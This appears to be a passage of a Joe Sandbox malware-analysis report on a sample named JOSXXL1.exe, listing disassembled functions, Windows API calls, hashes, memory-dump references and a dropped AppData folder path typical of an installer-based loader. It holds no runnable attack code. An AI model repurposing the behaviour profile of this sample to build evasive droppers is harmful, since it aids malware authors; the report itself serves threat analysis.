Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5756958af50dd38891c3069a2751d27f69ae340bed3483b9d05a16c22411fa1f
Instruction ID: 2f2862f802f4bb8c259b254183006bf3f0de574643f6f04ef9dece27a841d158
Opcode Fuzzy Hash: 5756958af50dd38891c3069a2751d27f69ae340bed3483b9d05a16c22411fa1f
Instruction Fuzzy Hash: 24C04C71740600BBDA208B509E45F1677546754740F1448697740A50E0C674E410D62D

Function 0040336E Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040306C,?), ref: 0040337C

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 80da3fb7de925908d89dc6e0e66abe912019b1009effaac14551dbb45b1ebe3e
Instruction ID: 2811e774c662cae59278f25d6ecae3b2a92cb5be3fe339fd2c15133e28e6e099
Opcode Fuzzy Hash: 80da3fb7de925908d89dc6e0e66abe912019b1009effaac14551dbb45b1ebe3e
Instruction Fuzzy Hash: D0B01231140300BFDA214F00DF09F057B21AB90700F10C034B344380F086711035EB4D

Function 0040427C Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004040A8), ref: 0040428A

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 4fda07dd220d348ff9e627888b9912082cf8e79b7c773bcb1828ccca34d8a7b3
Instruction ID: 7863800e542b6cbc8ec812c2a21dbba0b6cde8a84852b126545aa60b8f7f929b
Opcode Fuzzy Hash: 4fda07dd220d348ff9e627888b9912082cf8e79b7c773bcb1828ccca34d8a7b3
Instruction Fuzzy Hash: 13B01235285A00FBDE214B00EE09F457E62F76CB01F008478B340240F0CAB300B1DF19

Function 00404269 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00404041), ref: 00404273

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: c0b3a243f11644889afe8cb27eda9c0353b0d621d2840f40823c674b46be75ab
Instruction ID: 08295bde0fd8e02eb16c20732bdcb1eb6333efd9321479dd2e2322931d05c33c
Opcode Fuzzy Hash: c0b3a243f11644889afe8cb27eda9c0353b0d621d2840f40823c674b46be75ab
Instruction Fuzzy Hash: ADA001B6644500ABCE129F90EF49D0ABB72EBE4B02B518579A285900348A365961FB59

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 17sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014E6

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 6ae527e6cc94f5f5e8d5a49a66ee65cacad6fe88e42295e5ff3276528536477d
Instruction ID: 754004f40eea7f16e1f379b15ffb2f72bdee5afc6285ec4f51c34af4300ec48c
Opcode Fuzzy Hash: 6ae527e6cc94f5f5e8d5a49a66ee65cacad6fe88e42295e5ff3276528536477d
Instruction Fuzzy Hash: 2DD01277B14100DBD720EFB9BF89C6F73A8EB513293204837D942E11A2D57DD852862D

Non-executed Functions

Function 00404C5E Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404C76
GetDlgItem.USER32(?,00000408), ref: 00404C81
GlobalAlloc.KERNEL32(00000040,?), ref: 00404CCB
LoadBitmapW.USER32(0000006E), ref: 00404CDE
SetWindowLongW.USER32(?,000000FC,00405256), ref: 00404CF7
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404D0B
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404D1D
SendMessageW.USER32(?,00001109,00000002), ref: 00404D33
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404D3F
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404D51
DeleteObject.GDI32(00000000), ref: 00404D54
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404D7F
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404D8B
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E21
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404E4C
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E60
GetWindowLongW.USER32(?,000000F0), ref: 00404E8F
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404E9D
ShowWindow.USER32(?,00000005), ref: 00404EAE
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404FAB
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00405010
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405025
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405049
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405069
ImageList_Destroy.COMCTL32(?), ref: 0040507E
GlobalFree.KERNEL32(?), ref: 0040508E
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405107
SendMessageW.USER32(?,00001102,?,?), ref: 004051B0
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004051BF
InvalidateRect.USER32(?,00000000,00000001), ref: 004051DF
ShowWindow.USER32(?,00000000), ref: 0040522D
GetDlgItem.USER32(?,000003FE), ref: 00405238
ShowWindow.USER32(00000000), ref: 0040523F

Strings

M, xrefs: 00404E08
, xrefs: 00405217
N, xrefs: 00404EE9

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 8b7898f8f49f67d995be691c5ed78805e405c898658afbb61a3d1b4db651d7df
Instruction ID: 46f3c2dfcfe7d78df06ebec09318e15d32e2b04993d9507e8b01d99ed80ca2ca
Opcode Fuzzy Hash: 8b7898f8f49f67d995be691c5ed78805e405c898658afbb61a3d1b4db651d7df
Instruction Fuzzy Hash: CA026EB0A00209AFDF209F65DD45AAE7BB5FB44314F10817AF610BA2E1C7799E52CF58

Function 004046E2 Relevance: 26.5, APIs: 10, Strings: 5, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404731
SetWindowTextW.USER32(00000000,?), ref: 0040475B
SHBrowseForFolderW.SHELL32(?), ref: 0040480C
CoTaskMemFree.OLE32(00000000), ref: 00404817
lstrcmpiW.KERNEL32(Call,00423748,00000000,?,?), ref: 00404849
lstrcatW.KERNEL32(?,Call), ref: 00404855
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404867

Part of subcall function 004058AC: GetDlgItemTextW.USER32(?,?,00000400,0040489E), ref: 004058BF

Part of subcall function 00406417: CharNextW.USER32(0040A230,*?|<>/":,00000000,"C:\Users\user\Desktop\JOSXXL1.exe",74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,00403391,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035E2), ref: 0040647A
Part of subcall function 00406417: CharNextW.USER32(0040A230,0040A230,0040A230,00000000), ref: 00406489
Part of subcall function 00406417: CharNextW.USER32(0040A230,"C:\Users\user\Desktop\JOSXXL1.exe",74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,00403391,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035E2), ref: 0040648E
Part of subcall function 00406417: CharPrevW.USER32(0040A230,0040A230,74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,00403391,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035E2), ref: 004064A1

GetDiskFreeSpaceW.KERNEL32(00421718,?,?,0000040F,?,00421718,00421718,?,00000001,00421718,?,?,000003FB,?), ref: 0040492A
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404945

Part of subcall function 00404A9E: lstrlenW.KERNEL32(00423748,00423748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B3F
Part of subcall function 00404A9E: wsprintfW.USER32 ref: 00404B48
Part of subcall function 00404A9E: SetDlgItemTextW.USER32(?,00423748), ref: 00404B5B

Strings

Call, xrefs: 00404843, 00404848, 00404853
\d, xrefs: 004046E8
H7B, xrefs: 004047DF
C:\Users\user\AppData\Local\indvandrings\attraavrdig, xrefs: 00404832
A, xrefs: 00404805

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\indvandrings\attraavrdig$Call$H7B$\d
API String ID: 2624150263-3848520769
Opcode ID: 29b82d879f89b335d801dd70145edd0b5915db95dd8f44cbea82b22297ec7ec8
Instruction ID: 9c6f5067bad78934a321292c7affeb857c6c8b78ef178650078e6910c23b8850
Opcode Fuzzy Hash: 29b82d879f89b335d801dd70145edd0b5915db95dd8f44cbea82b22297ec7ec8
Instruction Fuzzy Hash: D8A183F1A00208ABDF11AFA5CD45AAFB7B8EF84314F10843BF611B62D1D77C99418B69

Function 10001B18 Relevance: 20.0, APIs: 13, Instructions: 544stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNEL32(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalAlloc.KERNEL32(00000040,00001CA4), ref: 10001C24
lstrcpyW.KERNEL32(00000008,?), ref: 10001C6C
lstrcpyW.KERNEL32(00000808,?), ref: 10001C76
GlobalFree.KERNEL32(00000000), ref: 10001C89
GlobalFree.KERNEL32(?), ref: 10001D83
GlobalFree.KERNEL32(?), ref: 10001D88
GlobalFree.KERNEL32(?), ref: 10001D8D
GlobalFree.KERNEL32(00000000), ref: 10001F38
lstrcpyW.KERNEL32(?,?), ref: 1000209C

Memory Dump Source

Source File: 00000000.00000002.2337909771.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2337832913.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2337963642.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2338036438.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_JOSXXL1.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
Opcode ID: e30de6db6a834bf10e5b97208fc3b89c024e60f2dd318f1058e55d56930b3bd8
Instruction ID: 952ca616c20dc2fa21031af5d26a5f3ec91fa4f9dea92b18a1e2b318678e368b
Opcode Fuzzy Hash: e30de6db6a834bf10e5b97208fc3b89c024e60f2dd318f1058e55d56930b3bd8
Instruction Fuzzy Hash: 10129C75D0064AEFEB20CFA4C8806EEB7F4FB083D4F61452AE565E7198D774AA80DB50

Function 00402095 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0040849C,?,00000001,0040848C,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402114

Strings

C:\Users\user\AppData\Local\indvandrings\attraavrdig, xrefs: 00402154

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\indvandrings\attraavrdig
API String ID: 542301482-3036879226
Opcode ID: cf94c7b7cb7f03cb1db79e66d9edf1813590421b21ba1cbe0db7abe7f4c0e10f
Instruction ID: 385f74efd5c92971cc76d3b11bce30356dc3a3525802f9592d77ec9fc6b050a7
Opcode Fuzzy Hash: cf94c7b7cb7f03cb1db79e66d9edf1813590421b21ba1cbe0db7abe7f4c0e10f
Instruction Fuzzy Hash: E5412C75A00209AFCF00DFA4CD88AAD7BB5FF48314B20457AF915EB2D1DBB99A41CB54

Function 004027FB Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040280A

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: ff5730ae288ebb4c2c7f72d00f03721da9664918cf6f8891babb7f0252882a05
Instruction ID: f51a3655aa6281515c31db2bfa725e220f35cee11171475ca2a169fd8dd427bf
Opcode Fuzzy Hash: ff5730ae288ebb4c2c7f72d00f03721da9664918cf6f8891babb7f0252882a05
Instruction Fuzzy Hash: 09F05E716001149BC711EBA4DE49AAEB374EF04324F10057BE515E31E1D6B499459B2A

Function 004043E4 Relevance: 44.0, APIs: 20, Strings: 5, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404482
GetDlgItem.USER32(?,000003E8), ref: 00404496
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004044B3
GetSysColor.USER32(?), ref: 004044C4
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004044D2
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004044E0
lstrlenW.KERNEL32(?), ref: 004044E5
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004044F2
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404507
GetDlgItem.USER32(?,0000040A), ref: 00404560
SendMessageW.USER32(00000000), ref: 00404567
GetDlgItem.USER32(?,000003E8), ref: 00404592
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004045D5
LoadCursorW.USER32(00000000,00007F02), ref: 004045E3
SetCursor.USER32(00000000), ref: 004045E6
ShellExecuteW.SHELL32(0000070B,open,00428200,00000000,00000000,00000001), ref: 004045FB
LoadCursorW.USER32(00000000,00007F00), ref: 00404607
SetCursor.USER32(00000000), ref: 0040460A
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404639
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040464B

Strings

Call, xrefs: 004045C1
[C@, xrefs: 004045F0
\d, xrefs: 00404540
open, xrefs: 004045F3
N, xrefs: 00404580

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: Call$N$[C@$\d$open
API String ID: 3615053054-3784353869
Opcode ID: f6016d8c67c9c4ff159701ca9c3d7a2502a484c18c0b7e2ffb0018dff941af02
Instruction ID: 197425fdc48522821a3d1a28f7e64f0f4dcf149373df3ed1280bb5b235060fa2
Opcode Fuzzy Hash: f6016d8c67c9c4ff159701ca9c3d7a2502a484c18c0b7e2ffb0018dff941af02
Instruction Fuzzy Hash: D471A4B1A00209FFDB109F60DD85E6A7B69FB84344F00453AFA05B62E0D7799D51CFA9

Function 00405EB2 Relevance: 31.6, APIs: 11, Strings: 7, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00426DE8,NUL,?,00000000,?,Error writing temporary file. Make sure your temp folder is valid.,00406045,?,?), ref: 00405EC1
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,Error writing temporary file. Make sure your temp folder is valid.,00406045,?,?), ref: 00405EE5
GetShortPathNameW.KERNEL32(?,00426DE8,00000400), ref: 00405EEE

Part of subcall function 00405CBD: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405F9E,00000000,[Rename],00000000,00000000,00000000), ref: 00405CCD
Part of subcall function 00405CBD: lstrlenA.KERNEL32(00000000,?,00000000,00405F9E,00000000,[Rename],00000000,00000000,00000000), ref: 00405CFF

GetShortPathNameW.KERNEL32(uB,004275E8,00000400), ref: 00405F0B
wsprintfA.USER32 ref: 00405F29
GetFileSize.KERNEL32(00000000,00000000,004275E8,C0000000,00000004,004275E8,?), ref: 00405F64
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405F73
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405FAB
SetFilePointer.KERNEL32(0040A5A8,00000000,00000000,00000000,00000000,004269E8,00000000,-0000000A,0040A5A8,00000000,[Rename],00000000,00000000,00000000), ref: 00406001
GlobalFree.KERNEL32(00000000), ref: 00406012
CloseHandle.KERNEL32(00000000), ref: 00406019

Part of subcall function 00405D58: GetFileAttributesW.KERNELBASE(00000003,00402E84,C:\Users\user\Desktop\JOSXXL1.exe,80000000,00000003), ref: 00405D5C
